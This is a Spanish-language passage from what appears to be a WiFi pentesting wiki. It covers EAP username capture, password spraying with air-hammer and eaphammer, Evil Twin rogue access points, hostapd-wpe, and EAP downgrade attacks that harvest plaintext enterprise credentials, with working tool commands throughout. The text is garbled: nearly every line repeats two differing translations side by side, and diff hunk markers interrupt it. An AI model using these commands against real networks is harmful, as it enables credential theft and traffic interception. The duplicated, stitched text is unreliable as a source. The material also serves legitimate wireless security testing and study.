**EAP** (Protocolo de Autenticación Extensible) es la **calavera** de la **comunicación de autenticación**, sobre esto, un **algoritmo de autenticación** es utilizado por el servidor para autenticar al **cliente** (**supplicant**) y en algunos casos por el cliente para autenticar al servidor. **EAP** (Extensible Authentication Protocol) es el **esqueleto** de la **comunicación de autenticación**, sobre esto, un **algoritmo de autenticación** es utilizado por el servidor para autenticar al **cliente** (**suplicante**) y en algunos casos por el cliente para autenticar al servidor.\
Principales algoritmos de autenticación utilizados en este caso: Principales algoritmos de autenticación utilizados en este caso:
* **EAP-GTC:** Es un método EAP para soportar el uso de tokens de hardware y contraseñas de un solo uso con EAP-PEAP. Su implementación es similar a MSCHAPv2, pero no utiliza un desafío entre pares. En cambio, las contraseñas se envían al punto de acceso en **texto plano** (muy interesante para ataques de degradación). * **EAP-GTC:** Es un método EAP para soportar el uso de tokens de hardware y contraseñas de un solo uso con EAP-PEAP. Su implementación es similar a MSCHAPv2, pero no utiliza un desafío entre pares. En su lugar, las contraseñas se envían al punto de acceso en **texto plano** (muy interesante para ataques de degradación).
* **EAP-MD-5 (Digestión de Mensaje)**: El cliente envía el hash MD5 de la contraseña. **No recomendado**: Vulnerable a ataques de diccionario, no hay autenticación del servidor y no hay forma de generar claves de privacidad equivalentes al cableado (WEP) por sesión. * **EAP-MD-5 (Message Digest)**: El cliente envía el hash MD5 de la contraseña. **No recomendado**: Vulnerable a ataques de diccionario, sin autenticación del servidor y sin forma de generar claves de privacidad equivalentes al cableado (WEP) por sesión.
* **EAP-TLS (Seguridad de la Capa de Transporte)**: Se basa en **certificados del lado del cliente y del servidor** para realizar la autenticación y se puede utilizar para generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones subsiguientes. * **EAP-TLS (Transport Layer Security)**: Se basa en **certificados del lado del cliente y del servidor** para realizar la autenticación y puede utilizarse para generar dinámicamente claves WEP basadas en usuario y sesión para asegurar comunicaciones posteriores.
* **EAP-TTLS (Seguridad de la Capa de Transporte Tunelizada)**: **Autenticación mutua** del cliente y la red a través de un canal cifrado (o túnel), así como un medio para derivar claves WEP dinámicas, por usuario y por sesión. A diferencia de EAP-TLS, **EAP-TTLS solo requiere certificados del lado del servidor (el cliente usará credenciales)**. * **EAP-TTLS (Tunneled Transport Layer Security)**: **Autenticación mutua** del cliente y la red a través de un canal encriptado (o túnel), así como un medio para derivar claves WEP dinámicas, por usuario y por sesión. A diferencia de EAP-TLS, **EAP-TTLS solo requiere certificados del lado del servidor (el cliente usará credenciales)**.
* **PEAP (Protocolo de Autenticación Extensible Protegido)**: PEAP es como el protocolo **EAP** pero creando un **túnel TLS** para proteger la comunicación. Luego, se pueden utilizar protocolos de autenticación débiles sobre EAP ya que estarán protegidos por el túnel. * **PEAP (Protected Extensible Authentication Protocol)**: PEAP es como el protocolo **EAP** pero creando un **túnel TLS** para proteger la comunicación. Luego, protocolos de autenticación débiles pueden ser utilizados sobre EAP ya que estarán protegidos por el túnel.
* **PEAP-MSCHAPv2**: Esto también se conoce simplemente como **PEAP** porque es ampliamente adoptado. Esto es solo el desafío/respuesta vulnerable llamado MSCHAPv2 sobre PEAP (está protegido por el túnel TLS). * **PEAP-MSCHAPv2**: También conocido como solo **PEAP** porque es ampliamente adoptado. Este es simplemente el desafío/respuesta vulnerable llamado MSCHAPv2 sobre PEAP (está protegido por el túnel TLS).
* **PEAP-EAP-TLS o simplemente PEAP-TLS**: Es muy similar a **EAP-TLS** pero se crea un túnel TLS antes de que se intercambien los certificados. * **PEAP-EAP-TLS o simplemente PEAP-TLS**: Es muy similar a **EAP-TLS** pero se crea un túnel TLS antes de que se intercambien los certificados.
Puede encontrar más información sobre estos métodos de autenticación [aquí](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) y [aquí](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html). Puedes encontrar más información sobre estos métodos de autenticación [aquí](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol)y [aquí](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
### Captura de Nombre de Usuario ### Captura de Nombre de Usuario
Leyendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) parece que si estás utilizando **EAP**, los **mensajes "Identity"** deben ser **soportados**, y el **nombre de usuario** va a ser enviado en **claro** en los mensajes **"Response Identity"**. Al leer [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) parece que si estás usando **EAP** los **mensajes de "Identidad"** deben ser **compatibles**, y el **nombre de usuario** se enviará en **texto claro** en los **mensajes de "Respuesta de Identidad"**.
Incluso utilizando uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` dentro de un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\ Incluso al usar uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` en un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\
Dentro del paquete "**Response, Identity**", aparecerá el **nombre de usuario** del cliente. Dentro del paquete "**Respuesta, Identidad**", aparecerá el **nombre de usuario** del cliente.
![](<../../.gitbook/assets/image (150).png>) ![](<../../.gitbook/assets/image (150).png>)
### Identidades Anónimas ### Identidades Anónimas
(Información tomada de [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)) El ocultamiento de identidad es compatible tanto con EAP-PEAP como con EAP-TTLS. En el contexto de una red WiFi, una solicitud de EAP-Identidad es típicamente iniciada por el punto de acceso (AP) durante el proceso de asociación. Para garantizar la protección del anonimato del usuario, la respuesta del cliente de EAP en el dispositivo del usuario contiene solo la información esencial requerida para que el servidor RADIUS inicial procese la solicitud. Este concepto se ilustra a través de los siguientes escenarios:
Tanto **EAP-PEAP como EAP-TTLS soportan ocultación de identidad**. En un entorno WiFi, el punto de acceso (AP) generalmente genera una solicitud de identidad EAP como parte del proceso de asociación. Para preservar el anonimato, el cliente EAP en el sistema del usuario puede responder solo con la información suficiente para permitir que el primer servidor RADIUS procese la solicitud, como se muestra en los siguientes ejemplos. * EAP-Identidad = anónimo
* _**EAP-Identity = anonymous**_ - En este escenario, todos los usuarios emplean el seudónimo "anónimo" como su identificador de usuario. El servidor RADIUS inicial funciona como un servidor EAP-PEAP o EAP-TTLS, responsable de gestionar el lado del servidor del protocolo PEAP o TTLS. El método de autenticación interno (protegido) es manejado localmente o delegado a un servidor RADIUS remoto (de origen).
> En este ejemplo, todos los usuarios compartirán el pseudo-nombre de usuario “anonymous”. El primer servidor RADIUS es un servidor EAP-PEAP o EAP-TTLS que impulsa el extremo del servidor del protocolo PEAP o TTLS. El tipo de autenticación interna (protegida) será entonces manejada localmente o proxy a un servidor RADIUS remoto (de origen). * EAP-Identidad = anónimo@reino_x
* _**EAP-Identity = anonymous@realm_x**_ - En esta situación, los usuarios de diferentes reinos ocultan sus identidades mientras indican sus respectivos reinos. Esto permite que el servidor RADIUS inicial redirija las solicitudes de EAP-PEAP o EAP-TTLS a servidores RADIUS en sus reinos de origen, que actúan como el servidor PEAP o TTLS. El servidor RADIUS inicial opera únicamente como un nodo de retransmisión RADIUS.
> En este ejemplo, los usuarios pertenecientes a diferentes reinos ocultan su propia identidad pero indican a qué reino pertenecen para que el primer servidor RADIUS pueda proxy las solicitudes EAP-PEAP o EAP-TTLS a servidores RADIUS en sus reinos de origen que actuarán como el servidor PEAP o TTLS. El primer servidor actúa puramente como un nodo de retransmisión RADIUS. - Alternativamente, el servidor RADIUS inicial puede funcionar como el servidor EAP-PEAP o EAP-TTLS y manejar el método de autenticación protegido o enviarlo a otro servidor. Esta opción facilita la configuración de políticas distintas para varios reinos.
>
> Alternativamente, el primer servidor puede actuar como el servidor EAP-PEAP o EAP-TTLS y procesar el método de autenticación protegido o proxy a otro servidor. Esta opción puede ser utilizada para configurar diferentes políticas para diferentes reinos.
En EAP-PEAP, una vez que el servidor PEAP y el cliente PEAP establecen el túnel TLS, el servidor PEAP genera una solicitud de identidad EAP y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de identidad EAP enviando una respuesta de identidad EAP que contiene la verdadera identidad del usuario a través del túnel cifrado. Esto evita que cualquier persona que espíe el tráfico 802.11 descubra la verdadera identidad del usuario. En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel encriptado. Este enfoque evita efectivamente la revelación de la identidad real del usuario a cualquier persona que esté interceptando el tráfico 802.11.
EAP-TTLS funciona ligeramente diferente. Con EAP-TTLS, el cliente típicamente se autentica a través de PAP o CHAP protegido por el túnel TLS. En este caso, el cliente incluirá un atributo de Nombre de Usuario y un atributo de Contraseña o CHAP-Contraseña en el primer mensaje TLS enviado después de que se establezca el túnel. EAP-TTLS sigue un procedimiento ligeramente diferente. Con EAP-TTLS, el cliente típicamente se autentica usando PAP o CHAP, asegurado por el túnel TLS. En este caso, el cliente incluye un atributo Nombre de Usuario y ya sea una Contraseña o un atributo de Contraseña CHAP en el mensaje TLS inicial enviado después del establecimiento del túnel.
Con cualquiera de los protocolos, el servidor PEAP/TTLS aprende la verdadera identidad del usuario una vez que se ha establecido el túnel TLS. La verdadera identidad puede ser en la forma _**usuario@reino**_ o simplemente _**usuario**_. Si el servidor PEAP/TTLS también está autenticando al _**usuario**_, ahora conoce la identidad del usuario y procede con el método de autenticación que está siendo protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS de origen del usuario. Esta nueva solicitud RADIUS tiene el protocolo PEAP o TTLS eliminado. Si el método de autenticación protegido es EAP, los mensajes EAP internos se transmiten al servidor RADIUS de origen sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo de Nombre de Usuario del mensaje RADIUS saliente contiene la verdadera identidad del usuario, no la identidad anónima del atributo de Nombre de Usuario del mensaje RADIUS entrante. Si el método de autenticación protegido es PAP o CHAP (solo soportado por TTLS), el Nombre de Usuario y otros atributos de autenticación recuperados del contenido TLS se colocan en el mensaje RADIUS saliente en lugar del Nombre de Usuario anónimo y los atributos de Mensaje EAP-TTLS incluidos en la solicitud RADIUS entrante. Independientemente del protocolo elegido, el servidor PEAP/TTLS obtiene conocimiento de la verdadera identidad del usuario después de que se haya establecido el túnel TLS. La verdadera identidad puede representarse como usuario@reino o simplemente usuario. Si el servidor PEAP/TTLS también es responsable de autenticar al usuario, ahora posee la identidad del usuario y procede con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS de origen del usuario. Esta nueva solicitud RADIUS omite la capa de protocolo PEAP o TTLS. En casos donde el método de autenticación protegido es EAP, los mensajes EAP internos se transmiten al servidor RADIUS de origen sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo Nombre de Usuario del mensaje RADIUS saliente contiene la verdadera identidad del usuario, reemplazando el Nombre de Usuario anónimo del mensaje RADIUS entrante. Cuando el método de autenticación protegido es PAP o CHAP (soportado solo por TTLS), el Nombre de Usuario y otros atributos de autenticación extraídos de la carga útil TLS se sustituyen en el mensaje RADIUS saliente, desplazando el Nombre de Usuario anónimo y los atributos de Mensaje EAP de TTLS encontrados en la solicitud RADIUS entrante.
### EAP-Bruteforce (ataque de fuerza bruta con contraseñas comunes) Para más información, consulta [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
Si se espera que el cliente utilice un **nombre de usuario y contraseña** (nota que **EAP-TLS no será válido** en este caso), entonces podrías intentar obtener una **lista** de **nombres de usuario** (ver la siguiente parte) y **contraseñas** e intentar **fuerza bruta** el acceso utilizando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
### EAP-Bruteforce (password spray)
Si se espera que el cliente use un **nombre de usuario y contraseña** (nota que **EAP-TLS no será válido** en este caso), entonces podrías intentar obtener una **lista** de **nombres de usuario** (ver la siguiente parte) y **contraseñas** e intentar **bruteforce** el acceso usando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash ```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
``` ```
También podrías realizar este ataque utilizando `eaphammer`: También puedes realizar este ataque utilizando `eaphammer`:
```bash ```bash
./eaphammer --eap-spray \ ./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -443,39 +444,39 @@ También podrías realizar este ataque utilizando `eaphammer`:
--password bananas \ --password bananas \
--user-list users.txt --user-list users.txt
``` ```
## Ataques a clientes Teoría ## Ataques a clientes: Teoría
### Selección de Red y Roaming ### Selección de red y roaming
Aunque el protocolo 802.11 tiene reglas muy específicas que dictan cómo una estación puede unirse a un ESS, no especifica cómo la estación debe seleccionar un ESS para conectarse. Además, el protocolo permite que las estaciones se desplacen libremente entre puntos de acceso que comparten el mismo ESSID (porque no querrías perder la conectividad WiFi al caminar de un extremo a otro de un edificio, etc). Sin embargo, el protocolo 802.11 no especifica cómo se deben seleccionar estos puntos de acceso. Además, aunque las estaciones deben estar autenticadas al ESS para asociarse con un punto de acceso, el protocolo 802.11 no requiere que el punto de acceso esté autenticado a la estación. Aunque el protocolo 802.11 tiene reglas muy específicas que dictan cómo una estación puede unirse a un ESS, no especifica cómo la estación debe seleccionar un ESS al que conectarse. Además, el protocolo permite a las estaciones moverse libremente entre puntos de acceso que comparten el mismo ESSID (porque no querrías perder la conectividad WiFi al caminar de un extremo de un edificio a otro, etc). Sin embargo, el protocolo 802.11 no especifica cómo se deben seleccionar estos puntos de acceso. Además, aunque las estaciones deben autenticarse en el ESS para asociarse con un punto de acceso, el protocolo 802.11 no requiere que el punto de acceso se autentique en la estación.
### Listas de Redes Preferidas (PNLs) ### Listas de Redes Preferidas (PNL)
Cada vez que una estación se conecta a una red inalámbrica, el ESSID de la red se almacena en la Lista de Redes Preferidas (PNL) de la estación. La PNL es una lista ordenada de todas las redes a las que la estación se ha conectado en el pasado, y cada entrada en la PNL contiene el ESSID de la red y cualquier información de configuración específica de la red necesaria para establecer una conexión. Cada vez que una estación se conecta a una red inalámbrica, el ESSID de la red se almacena en la Lista de Redes Preferidas (PNL) de la estación. La PNL es una lista ordenada de cada red a la que la estación se ha conectado en el pasado, y cada entrada en la PNL contiene el ESSID de la red y cualquier información de configuración específica de la red necesaria para establecer una conexión.
### Escaneo Pasivo ### Escaneo Pasivo
En redes de infraestructura, los puntos de acceso transmiten periódicamente tramas de baliza para anunciar su presencia y capacidades a las estaciones cercanas. Las balizas son tramas de difusión, lo que significa que están destinadas a ser recibidas por todas las estaciones cercanas dentro del alcance. Las balizas incluyen información sobre las tasas compatibles del AP, capacidades de cifrado, información adicional y, lo más importante, las tramas de baliza contienen el ESSID del AP (siempre que la difusión del ESSID no esté desactivada). En redes de infraestructura, los puntos de acceso transmiten periódicamente tramas de balizas para anunciar su presencia y capacidades a las estaciones cercanas. Las balizas son tramas de difusión, lo que significa que están destinadas a ser recibidas por todas las estaciones cercanas en rango. Las balizas incluyen información sobre las tasas admitidas por el AP, capacidades de cifrado, información adicional y, lo más importante, las balizas contienen el ESSID del AP (si la difusión de ESSID no está desactivada).
Durante el escaneo pasivo, el dispositivo cliente escucha tramas de baliza de puntos de acceso cercanos. Si el dispositivo cliente recibe una trama de baliza cuyo campo ESSID coincide con un ESSID de la PNL del cliente, el cliente se conectará automáticamente al punto de acceso que envió la trama de baliza. Luego, supongamos que queremos dirigirnos a un dispositivo inalámbrico que actualmente no está conectado a ninguna red inalámbrica. Si conocemos al menos una entrada en la PNL de ese cliente, podemos forzar al cliente a conectarse con nosotros simplemente creando nuestro propio punto de acceso con el ESSID de esa entrada. Durante el escaneo pasivo, el dispositivo cliente escucha las tramas de balizas de los puntos de acceso cercanos. Si el dispositivo cliente recibe una trama de baliza cuyo campo ESSID coincide con un ESSID de la PNL del cliente, el cliente se conectará automáticamente al punto de acceso que envió la trama de baliza. Entonces, supongamos que queremos atacar un dispositivo inalámbrico que no está conectado actualmente a ninguna red inalámbrica. Si conocemos al menos una entrada en la PNL de ese cliente, podemos forzar al cliente a conectarse a nosotros simplemente creando nuestro propio punto de acceso con el ESSID de esa entrada.
### Sondeo Activo ### Sondeo Activo
El segundo algoritmo de selección de red utilizado en 802.11 se conoce como Sondeo Activo. Los dispositivos clientes que utilizan sondeo activo transmiten continuamente tramas de solicitud de sondeo para determinar qué AP están al alcance, así como cuáles son sus capacidades. Las solicitudes de sondeo vienen en dos formas: dirigidas y de difusión. Las solicitudes de sondeo dirigidas están dirigidas a un ESSID específico y son la forma en que el cliente verifica si una red específica está cerca. El segundo algoritmo de selección de red utilizado en 802.11 se conoce como Sondeo Activo. Los dispositivos clientes que utilizan el sondeo activo transmiten continuamente tramas de solicitud de sondeo para determinar qué AP están dentro del rango, así como cuáles son sus capacidades. Las solicitudes de sondeo vienen en dos formas: dirigidas y de difusión. Las solicitudes de sondeo dirigidas están dirigidas a un ESSID específico, y son la forma en que el cliente comprueba si una red específica está cerca.
Los clientes que utilizan sondeo dirigido enviarán solicitudes de sondeo para cada red en su PNL. Cabe señalar que el sondeo dirigido es la única forma de identificar la presencia de redes ocultas cercanas. Las solicitudes de sondeo de difusión funcionan casi exactamente de la misma manera, pero se envían con el campo SSID establecido en NULL. Esto dirige la solicitud de sondeo de difusión a todos los puntos de acceso cercanos, permitiendo que la estación verifique si alguna de sus redes preferidas está cerca sin revelar el contenido de su PNL. Los clientes que utilizan el sondeo dirigido enviarán solicitudes de sondeo para cada red en su PNL. Cabe destacar que el sondeo dirigido es la única forma de identificar la presencia de redes ocultas cercanas. Las solicitudes de sondeo de difusión funcionan casi exactamente de la misma manera, pero se envían con el campo SSID configurado en NULL. Esto dirige la solicitud de sondeo a todos los puntos de acceso cercanos, permitiendo a la estación verificar si alguna de sus redes preferidas está cerca sin revelar el contenido de su PNL.
## AP Simple con redirección a Internet ## AP simple con redirección a Internet
Antes de explicar cómo realizar ataques más complejos, se explicará **cómo** simplemente **crear** un **AP** y **redirigir** su **tráfico** a una interfaz conectada **a** la **Internet**. Antes de explicar cómo realizar ataques más complejos, se va a explicar **cómo** simplemente **crear** un **AP** y **redirigir** su **tráfico** a una interfaz conectada **a** **Internet**.
Usando `ifconfig -a` verifica que la interfaz wlan para crear el AP y la interfaz conectada a Internet estén presentes. Usando `ifconfig -a`, verifica que la interfaz wlan para crear el AP y la interfaz conectada a Internet estén presentes.
### DHCP & DNS ### DHCP & DNS
```bash ```bash
apt-get install dnsmasq #Manages DHCP and DNS apt-get install dnsmasq #Manages DHCP and DNS
``` ```
crear un archivo de configuración _/etc/dnsmasq.conf_ de la siguiente manera: Crear un archivo de configuración _/etc/dnsmasq.conf_ de la siguiente manera:
``` ```
interface=wlan0 interface=wlan0
dhcp-authoritative dhcp-authoritative
@ -487,12 +488,12 @@ log-queries
log-dhcp log-dhcp
listen-address=127.0.0.1 listen-address=127.0.0.1
``` ```
Entonces **establece IPs** y **rutas**: Luego **configura las IPs** y las **rutas**:
``` ```
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
``` ```
Y luego **inicia** dnsmasq: Y luego **inicie** dnsmasq:
``` ```
dnsmasq -C dnsmasq.conf -d dnsmasq -C dnsmasq.conf -d
``` ```
@ -518,7 +519,7 @@ wpa_group_rekey=86400
ieee80211n=1 ieee80211n=1
wme_enabled=1 wme_enabled=1
``` ```
**Detener procesos molestos**, establecer **modo monitor** e **iniciar hostapd**: **Detener procesos molestos**, establecer **modo monitor** y **iniciar hostapd**:
``` ```
airmon-ng check kill airmon-ng check kill
iwconfig wlan0 mode monitor iwconfig wlan0 mode monitor
@ -533,17 +534,17 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
``` ```
## Evil Twin ## Evil Twin
Un ataque Evil Twin es un tipo de ataque Wi-Fi que se aprovecha del hecho de que la mayoría de las computadoras y teléfonos solo verán el "nombre" o ESSID de una red inalámbrica (ya que la estación base no está obligada a autenticarse contra el cliente). Esto realmente hace que sea muy difícil distinguir entre redes con el mismo nombre y el mismo tipo de cifrado. De hecho, muchas redes tendrán varios puntos de acceso que extienden la red, todos usando el mismo nombre para expandir el acceso sin confundir a los usuarios. Un ataque de evil twin es un tipo de ataque Wi-Fi que aprovecha el hecho de que la mayoría de las computadoras y teléfonos solo verán el "nombre" o ESSID de una red inalámbrica (ya que la estación base no necesita autenticarse contra el cliente). Esto hace que sea muy difícil distinguir entre redes con el mismo nombre y el mismo tipo de cifrado. De hecho, muchas redes tendrán varios puntos de acceso que extienden la red, todos usando el mismo nombre para ampliar el acceso sin confundir a los usuarios.
Debido a cómo funciona la implementación de los clientes (recuerda que el protocolo 802.11 permite que las estaciones se desplacen libremente entre puntos de acceso dentro del mismo ESS), es posible hacer que un dispositivo cambie la estación base a la que está conectado. Es posible hacerlo ofreciendo una mejor señal (lo cual no siempre es posible) o bloqueando el acceso a la estación base original (paquetes de desautenticación, interferencias o alguna otra forma de ataque DoS). Debido a cómo funcionan los clientes (recuerda que el protocolo 802.11 permite a las estaciones moverse libremente entre puntos de acceso dentro del mismo ESS), es posible hacer que un dispositivo cambie la estación base a la que está conectado. Esto se puede lograr ofreciendo una mejor señal (lo cual no siempre es posible) o bloqueando el acceso a la estación base original (paquetes de desautenticación, interferencia, u otra forma de ataque de denegación de servicio).
También ten en cuenta que las implementaciones inalámbricas en el mundo real suelen tener más de un punto de acceso, y estos puntos de acceso a menudo son más potentes y tienen un mejor alcance de línea de vista debido a su colocación hacia el techo. Desautenticar un solo punto de acceso generalmente resulta en que el objetivo se desplace hacia otro punto de acceso válido en lugar de tu AP falso, a menos que todos los puntos de acceso cercanos sean desautenticados (ruidoso) o seas muy cuidadoso con la colocación del AP falso (difícil). También ten en cuenta que las implementaciones inalámbricas del mundo real suelen tener más de un solo punto de acceso, y estos puntos de acceso suelen ser más potentes y tener un mejor alcance visual debido a su ubicación hacia el techo. Desautenticar un solo punto de acceso generalmente resulta en que el objetivo se mueva hacia otro punto de acceso válido en lugar de tu AP falso, a menos que se desautentiquen todos los puntos de acceso cercanos (ruidoso) o tengas mucho cuidado con la ubicación del AP falso (difícil).
Puedes crear un Evil Twin Open muy básico (sin capacidad para enrutar tráfico a Internet) haciendo: Puedes crear un Evil Twin Abierto muy básico (sin capacidades para enrutar tráfico a Internet) haciendo:
```bash ```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
``` ```
También podrías crear un Gemelo Maligno utilizando **eaphammer** (ten en cuenta que para crear gemelos malignos con eaphammer la interfaz **NO debe estar** en modo **monitor**): También puedes crear un Evil Twin usando **eaphammer** (ten en cuenta que para crear evil twins con eaphammer la interfaz **NO debe estar** en modo **monitor**):
``` ```
./eaphammer -i wlan0 --essid exampleCorp --captive-portal ./eaphammer -i wlan0 --essid exampleCorp --captive-portal
``` ```
@ -551,28 +552,28 @@ O utilizando Airgeddon: `Opciones: 5,6,7,8,9 (dentro del menú de ataque Evil Tw
![](<../../.gitbook/assets/image (148).png>) ![](<../../.gitbook/assets/image (148).png>)
Por favor, ten en cuenta que por defecto si un ESSID en la PNL está guardado como protegido por WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puedes intentar hacer DoS al AP real y esperar que el usuario se conecte manualmente a tu Evil Twin abierto, o podrías hacer DoS al AP real y usar un Evil Twin con WPA para capturar el handshake (usando este método no podrás permitir que la víctima se conecte a ti ya que no conoces el PSK, pero puedes capturar el handshake e intentar descifrarlo). Por favor, ten en cuenta que por defecto, si un ESSID en la PNL está guardado como protegido con WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puedes intentar realizar un DoS al AP real y esperar a que el usuario se conecte manualmente a tu Evil Twin abierto, o podrías realizar un DoS al AP real y usar un Evil Twin con WPA para capturar el handshake (usando este método no podrás permitir que la víctima se conecte a ti ya que no conoces la PSK, pero puedes capturar el handshake e intentar crackearlo).
_Algunos sistemas operativos y antivirus advertirán al usuario que conectarse a una red abierta es peligroso..._ _Algunos sistemas operativos y antivirus advertirán al usuario que conectarse a una red abierta es peligroso..._
### Evil Twin WPA/WPA2 ### Evil Twin WPA/WPA2
Puedes crear un **Evil Twin usando WPA/2** y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. De todos modos, **para completar el 4-way-handshake** también necesitas **conocer** la **contraseña** que el cliente va a usar. Si **no la conoces**, la **conexión no se completará**. Puedes crear un **Evil Twin utilizando WPA/2** y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. De todas formas, **para completar el handshake de 4 vías** también necesitas **saber** la **contraseña** que el cliente va a utilizar. Si **no la conoces**, la **conexión no se completará**.
``` ```
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
``` ```
### Gemelo Malvado Empresarial ### Evil Twin Empresarial
Para entender estos ataques, recomendaría leer primero la breve [explicación de WPA Enterprise](./#wpa-enterprise-mgt). Para comprender estos ataques, recomendaría leer primero la breve [explicación de WPA Enterprise](./#wpa-enterprise-mgt).
**Usando hostapd-wpe** **Usando hostapd-wpe**
`hostapd-wpe` necesita un archivo de **configuración** para funcionar. Para **automatizar** la generación de estas configuraciones podrías usar [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (descarga el archivo python dentro de _/etc/hostapd-wpe/_) `hostapd-wpe` necesita un archivo de **configuración** para funcionar. Para **automatizar** la generación de estas configuraciones, puedes utilizar [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (descarga el archivo python dentro de _/etc/hostapd-wpe/_).
``` ```
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s hostapd-wpe ./victim/victim.conf -s
``` ```
En el archivo de configuración puedes seleccionar una gran variedad de cosas como ssid, canal, archivos de usuario, cret/key, parámetros dh, versión wpa y autenticación... En el archivo de configuración puedes seleccionar muchas cosas diferentes como ssid, canal, archivos de usuario, cret/key, parámetros dh, versión de wpa y autenticación...
[**Usando hostapd-wpe con EAP-TLS para permitir que cualquier certificado inicie sesión.**](evil-twin-eap-tls.md) [**Usando hostapd-wpe con EAP-TLS para permitir que cualquier certificado inicie sesión.**](evil-twin-eap-tls.md)
@ -584,51 +585,51 @@ En el archivo de configuración puedes seleccionar una gran variedad de cosas co
# Launch Attack # Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
``` ```
Por defecto, EAPHammer utiliza estos métodos de autenticación (observa GTC como el primero en intentar obtener contraseñas en texto plano y luego el uso de métodos de autenticación más robustos): Por defecto, EAPHammer utiliza estos métodos de autenticación (nota GTC como el primero en intentar obtener contraseñas en texto plano y luego el uso de métodos de autenticación más robustos):
``` ```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
``` ```
Esta es la metodología predeterminada para evitar tiempos de conexión prolongados. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débil a más fuerte: Este es el método predeterminado para evitar tiempos de conexión largos. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débiles a más fuertes:
``` ```
--negotiate weakest --negotiate weakest
``` ```
O también podrías usar: O también puedes usar:
* `--negotiate gtc-downgrade` para usar la implementación de degradación GTC altamente eficiente (contraseñas en texto plano) * `--negotiate gtc-downgrade` para utilizar una implementación de degradación GTC altamente eficiente (contraseñas en texto plano)
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente los métodos ofrecidos (ofreciendo los mismos métodos de autenticación en el mismo orden que la organización el ataque será mucho más difícil de detectar). * `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que el ataque sea mucho más difícil de detectar).
* [Encuentra más información en la wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) * [Encuentra más información en el wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Usando Airgeddon** **Usando Airgeddon**
